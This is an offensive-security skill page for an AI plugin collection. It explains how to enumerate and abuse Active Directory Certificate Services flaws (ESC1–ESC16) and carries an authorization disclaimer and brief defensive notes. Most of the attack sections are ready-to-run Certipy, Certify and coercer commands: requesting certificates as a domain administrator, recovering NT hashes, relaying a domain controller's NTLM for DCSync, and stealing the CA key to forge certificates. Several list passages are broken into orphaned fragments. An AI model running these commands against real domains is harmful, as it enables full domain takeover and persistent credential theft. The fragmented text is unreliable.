secskills
secskills / offense / abusing-adcs

abusing-adcs

offense verified 2026-07-27

Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user.

$ /plugin install secskills-offense $ /plugin install secskills-core

A certificate authority in an Active Directory domain is usually the shortest path from a standard user to domain administrator, because certificate templates are permission objects that almost nobody audits. A single template that lets the enrollee supply their own subject name is a full domain compromise, and it is the default on more networks than it should be.

Only against domains you are authorized to test.

When to Use

When NOT to Use

attacking-active-directory

request events (4886/4887) are the primary telemetry

Enumerate First

# Certipy — the standard tool; run this before anything else
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound

# From Windows
Certify.exe find /vulnerable
Certify.exe cas                      # CA hosts, flags, and enrollment endpoints

certipy find -vulnerable names the ESC number directly, which is why it is the first command. Read the output for: who can enroll, whether the requester supplies the subject, which EKUs are present, and whether manager approval is required.

The Escalation Paths

Grouped by what is misconfigured, because the fix and the detection differ.

Template misconfiguration — the common cases

IDConditionResult
ESC1Enrollee supplies subject (ENROLLEE_SUPPLIES_SUBJECT) + client-auth EKU + low-priv enrollment + no approvalRequest a cert as any user, including a domain admin
ESC2Any Purpose EKU (or no EKU) + low-priv enrollmentCert usable for client auth; same outcome as ESC1
ESC3Certificate Request Agent EKUEnroll on behalf of another user
ESC9CT_FLAG_NO_SECURITY_EXTENSION setCert lacks the SID binding, enabling weak-mapping abuse
ESC15v1 template with enrollee-supplied subject, application policies injectableClient auth via application policy, bypassing the EKU restriction
# ESC1 — the canonical path
certipy req -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 \
  -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'

# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash

Access-control misconfiguration

IDConditionResult
ESC4You have write over a template objectReconfigure it into an ESC1 template, use it, then restore
ESC5Write over PKI objects, CA computer object, or the containerVarious, up to CA control
ESC7ManageCA or ManageCertificates on the CAEnable ESC6, or approve your own pending request
# ESC4 — make it vulnerable, use it, put it back
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json

Restoring the template is not optional. Leaving a template in a vulnerable state is a real change to the client's security posture, and doing so unannounced is a finding against you, not them. -save-old first, restore immediately, and record both actions with timestamps.

CA misconfiguration

IDConditionResult
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 on the CAAny template becomes subject-suppliable
ESC16Security extension disabled CA-wideEvery issued cert lacks SID binding
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags

Relay paths

IDConditionResult
ESC8Web enrollment (/certsrv) reachable, no EPA/HTTPS bindingRelay NTLM to enrollment, get a cert for the relayed machine
ESC11ICertPassage RPC without packet integrityRelay over RPC instead of HTTP
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10     # → DC machine account → DCSync

Certificate mapping

IDConditionResult
ESC10Weak certificate mapping registry valuesImpersonate via UPN or altSecurityIdentities
ESC13Template with an issuance policy linked to a groupCert grants that group's membership
ESC14Write access to altSecurityIdentitiesMap your certificate to a target account

Strong certificate binding changes the picture. After the May 2022 updates (KB5014754), domain controllers can require certificates to carry the SID security extension, and StrongCertificateBindingEnforcement governs how strictly. On a fully-enforcing domain, ESC9, ESC10, and Certifried (CVE-2022-26923) stop working, while ESC1, ESC4, ESC6, and ESC8 do not. Check the enforcement level before reporting a path as exploitable:

reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement

Persistence

Certificates are the most durable AD persistence available, which is exactly why they matter in a report.

resets**. Resetting the compromised account does not evict the attacker.

forging certificates for any principal, indefinitely, offline. Recovering from that requires re-issuing the PKI.

promptly or at all.

# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u user@domain.local -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn administrator@domain.local

State this explicitly when reporting: "password resets do not remediate this; the issued certificates must be revoked" is the sentence that changes the client's response plan.

Defensive Review

When the engagement is a configuration review rather than an attack:

Domain Users or Authenticated Users?

Rationalizations to Reject

ManageCertificates holder approves their own request.

nest, and Authenticated Users appears more often than expected.

configuration, not patchable.

valid. Revoke it.

authentication certificates is a domain admin equivalent.

older collections have no ADCS edges at all.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References